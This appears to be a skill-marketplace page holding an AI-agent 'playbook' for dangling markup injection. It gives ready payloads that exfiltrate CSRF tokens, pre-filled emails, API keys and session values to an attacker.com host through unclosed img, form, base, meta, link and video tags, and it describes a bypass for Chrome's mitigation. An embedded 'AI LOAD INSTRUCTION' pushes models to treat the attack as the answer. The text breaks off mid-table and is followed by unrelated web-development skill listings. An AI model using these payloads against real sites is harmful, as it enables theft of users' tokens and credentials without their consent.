dangling-markup-injection
Dangling markup injection playbook. Use when HTML injection is possible but JavaScript execution is blocked (CSP, sanitizer strips event handlers, WAF blocks script tags) — exfiltrate CSRF tokens, session data, and page content by injecting unclosed HTML tags that capture subsequent page content.
What this skill does
# SKILL: Dangling Markup Injection — Exfiltration Without JavaScript
> **AI LOAD INSTRUCTION**: Covers dangling markup exfiltration via unclosed img/form/base/meta/link/table tags, what can be stolen (CSRF tokens, pre-filled form values, sensitive content), browser-specific behavior, and combinations with other attacks. Base models often overlook this technique entirely when CSP blocks scripts, jumping to "not exploitable" — dangling markup is the answer.
## 0. RELATED ROUTING
- [xss-cross-site-scripting](../xss-cross-site-scripting/SKILL.md) when full XSS is possible (no need for dangling markup)
- [csp-bypass-advanced](../csp-bypass-advanced/SKILL.md) when CSP blocks JS execution — dangling markup bypasses script restrictions
- [csrf-cross-site-request-forgery](../csrf-cross-site-request-forgery/SKILL.md) when dangling markup steals CSRF tokens for subsequent CSRF attacks
- [crlf-injection](../crlf-injection/SKILL.md) when CRLF enables HTML injection in HTTP response
- [web-cache-deception](../web-cache-deception/SKILL.md) when dangling markup + cache poisoning amplifies the attack
---
## 1. WHEN TO USE DANGLING MARKUP
You need dangling markup when ALL of these are true:
1. You have an HTML injection point (reflected or stored)
2. JavaScript execution is blocked:
- CSP blocks inline scripts and event handlers
- Sanitizer strips `<script>`, `onerror`, `onload`, etc.
- WAF blocks known XSS patterns
3. The page contains sensitive data AFTER your injection point:
- CSRF tokens
- Pre-filled form values (email, username, API keys)
- Session identifiers in hidden fields
- Sensitive user content
**Core insight**: You don't need JavaScript to exfiltrate data — you just need the browser to make a request that includes the data in the URL.
---
## 2. CORE TECHNIQUE
Inject an unclosed HTML tag with a `src`, `href`, `action`, or similar attribute pointing to your server. The unclosed attribute quote "consumes" all subsequent page content until the browser finds a matching quote.
```html
Page before injection:
<div>Hello USER_INPUT</div>
<form>
<input type="hidden" name="csrf" value="SECRET_TOKEN_123">
<input type="text" name="email" value="[email protected]">
</form>
Injected payload:
<img src="https://attacker.com/collect?
Resulting HTML:
<div>Hello <img src="https://attacker.com/collect?</div>
<form>
<input type="hidden" name="csrf" value="SECRET_TOKEN_123">
<input type="text" name="email" value="[email protected]">
</form>
...rest of page until next matching quote (")...
```
The browser interprets everything from `https://attacker.com/collect?` until the next `"` as the URL. The hidden CSRF token and email value become part of the URL query string sent to `attacker.com`.
---
## 3. EXFILTRATION VECTORS
### 3.1 Image Tag (Most Common)
```html
<!-- Double-quote context -->
<img src="https://attacker.com/collect?
<!-- Single-quote context -->
<img src='https://attacker.com/collect?
<!-- Backtick context (IE only, legacy) -->
<img src=`https://attacker.com/collect?
```
The browser sends a GET request to `attacker.com` with all consumed content as query parameters.
**Blocked by**: `img-src` CSP directive
### 3.2 Form Action Hijack
```html
<form action="https://attacker.com/collect">
<button>Click to continue</button>
<!--
```
If the page has form elements after the injection point, the next `</form>` closes the attacker's form. All input fields between become part of the attacker's form → submitted to attacker on user interaction.
**Blocked by**: `form-action` CSP directive
**Trick**: Even without user interaction, if there's an existing submit button or JavaScript auto-submit, the form submits automatically.
### 3.3 Base Tag Hijack
```html
<base href="https://attacker.com/">
```
All subsequent relative URLs on the page resolve to attacker's server:
- `<script src="/js/app.js">` → loads `https://attacker.com/js/app.js`
- `<a href="/profile">` → links to `https://attacker.com/profile`
- `<form action="/submit">` → submits to `https://attacker.com/submit`
**Blocked by**: `base-uri` CSP directive
### 3.4 Meta Refresh Redirect
```html
<meta http-equiv="refresh" content="0;url=https://attacker.com/collect?
```
Redirects the entire page to attacker's server with consumed page content in the URL.
**Blocked by**: `navigate-to` CSP directive (rarely set), some browsers ignore meta refresh when CSP is present.
### 3.5 Link/Stylesheet Exfiltration
```html
<link rel="stylesheet" href="https://attacker.com/collect?
```
Browser requests the URL as a CSS resource, leaking consumed content.
**Blocked by**: `style-src` CSP directive
### 3.6 Table Background (Legacy)
```html
<table background="https://attacker.com/collect?
```
Works in older browsers that support the `background` attribute on table elements.
**Blocked by**: `img-src` CSP directive
### 3.7 Video/Audio Poster
```html
<video poster="https://attacker.com/collect?
<audio src="https://attacker.com/collect?
```
**Blocked by**: `media-src` / `img-src` CSP directives
---
## 4. WHAT CAN BE STOLEN
| Target Data | How It Appears in Page | Steal Technique |
|---|---|---|
| CSRF token | `<input type="hidden" name="csrf" value="...">` | Dangling `<img src=` before the form |
| Pre-filled email | `<input value="[email protected]">` | Dangling tag before the input |
| API keys in page | `var apiKey = "sk-..."` in inline script | Dangling tag before the script block |
| Session ID in hidden field | `<input name="session" value="...">` | Dangling tag before the form |
| Auto-filled passwords | Browser auto-fills password field | `<form action=attacker>` with matching input names |
| OAuth state/tokens | In URL parameters or hidden form fields | Dangling tag on authorization page |
| Internal URLs/paths | Links, script sources, API endpoints | `<base>` tag hijack captures all relative URLs |
---
## 5. BROWSER-SPECIFIC BEHAVIOR
| Browser | Behavior |
|---|---|
| **Chrome/Chromium** | Blocks dangling markup in `<img>` `src` containing `<` or newlines (since Chrome 60). Still allows `<form action>`, `<base>`, `<link>`. |
| **Firefox** | More permissive with dangling markup in image sources. Allows newlines in attribute values. |
| **Safari** | Similar to Chrome's restrictions. May handle some edge cases differently. |
| **Edge (Chromium)** | Same as Chrome behavior. |
### Chrome Mitigation Detail
Chrome blocks navigation/resource load when the URL attribute value contains:
- `<` character (indicates HTML tag consumption)
- Newline characters (`\n`, `\r`)
**Bypass**: Use `<form action>` instead of `<img src>` — Chrome's block only targets specific tags.
---
## 6. ADVANCED TECHNIQUES
### 6.1 Selective Consumption
Choose quote type strategically: if page uses `"` for attributes, inject with `'` (and vice versa) to precisely control where consumption stops.
### 6.2 Textarea + Form Combo
`<form action="https://attacker.com/collect"><textarea name="data">` — unclosed textarea eats all subsequent HTML as plaintext; form submission sends it to attacker.
### 6.3 Comment / Style Dangling
- `<!-- ` without closing `-->` consumes all content (no exfil, but hides page content)
- `<style>` unclosed treats page as CSS; combine with `@import url("https://attacker.com/?` for exfil
### 6.4 Window.name via iframe
`<iframe src="https://target.com/page" name="` — name attribute consumes content, and `window.name` persists across origins after navigation.
---
## 7. LIMITATIONS
| Limitation | Detail |
|---|---|
| Same-origin content only | Dangling markup only captures content from the same HTTP response |
| Quote matching | Consumption stops at the next matching quote character — may not reach target data |
| CSP img-src/form-action | Strict CSP can block most exfiltration vectors |
| Chrome's dangling markup mitigation | Blocks `<img src=` with `<` or newlines in URL |
| Injection point must be before target data | Can only capture content tRelated in Web Dev
generating-lwc-components
IncludedLightning Web Components with PICKLES methodology and 165-point scoring. Use this skill when the user creates or edits LWC components, builds wire service patterns, or writes Jest tests for LWC. TRIGGER when: user creates/edits LWC components, touches lwc/**/*.js, .html, .css, .js-meta.xml files, or asks about wire service, SLDS, or Jest LWC tests. DO NOT TRIGGER when: Apex classes (use generating-apex), Aura components, or Visualforce.
tanstack-query
IncludedManage server state in React with TanStack Query v5. Set up queries with useQuery, mutations with useMutation, configure QueryClient caching strategies, implement optimistic updates, and handle infinite scroll with useInfiniteQuery. Use when: setting up data fetching in React projects, migrating from v4 to v5, or fixing object syntax required errors, query callbacks removed issues, cacheTime renamed to gcTime, isPending vs isLoading confusion, keepPreviousData removed problems.
document-processor-api
IncludedProcess documents with Nutrient DWS. Use when the user wants to generate PDFs from HTML or URLs, convert Office/images/PDFs, assemble or split packets, OCR scans, extract text/tables/key-value pairs, redact PII, watermark, sign, fill forms, optimize PDFs, or produce compliance outputs like PDF/A or PDF/UA. Triggers include convert to PDF, merge these PDFs, OCR this scan, extract tables, redact PII, sign this PDF, make this PDF/A, or linearize for web delivery.
nutrient-document-processing
IncludedProcess documents with Nutrient DWS. Use when the user wants to generate PDFs from HTML or URLs, convert Office/images/PDFs, assemble or split packets, OCR scans, extract text/tables/key-value pairs, redact PII, watermark, sign, fill forms, optimize PDFs, or produce compliance outputs like PDF/A or PDF/UA. Triggers include convert to PDF, merge these PDFs, OCR this scan, extract tables, redact PII, sign this PDF, make this PDF/A, or linearize for web delivery.
tanstack-query
IncludedManage server state in React with TanStack Query v5. Covers useMutationState, simplified optimistic updates, throwOnError, network mode (offline/PWA), and infiniteQueryOptions. Use when setting up data fetching, fixing v4→v5 migration errors (object syntax, gcTime, isPending, keepPreviousData), or debugging SSR/hydration issues with streaming server components.
accelint-nextjs-best-practices
IncludedNext.js performance optimization and best practices. Use when writing Next.js code (App Router or Pages Router); implementing Server Components, Server Actions, or API routes; optimizing RSC serialization, data fetching, or server-side rendering; reviewing Next.js code for performance issues; fixing authentication in Server Actions; or implementing Suspense boundaries, parallel data fetching, or request deduplication.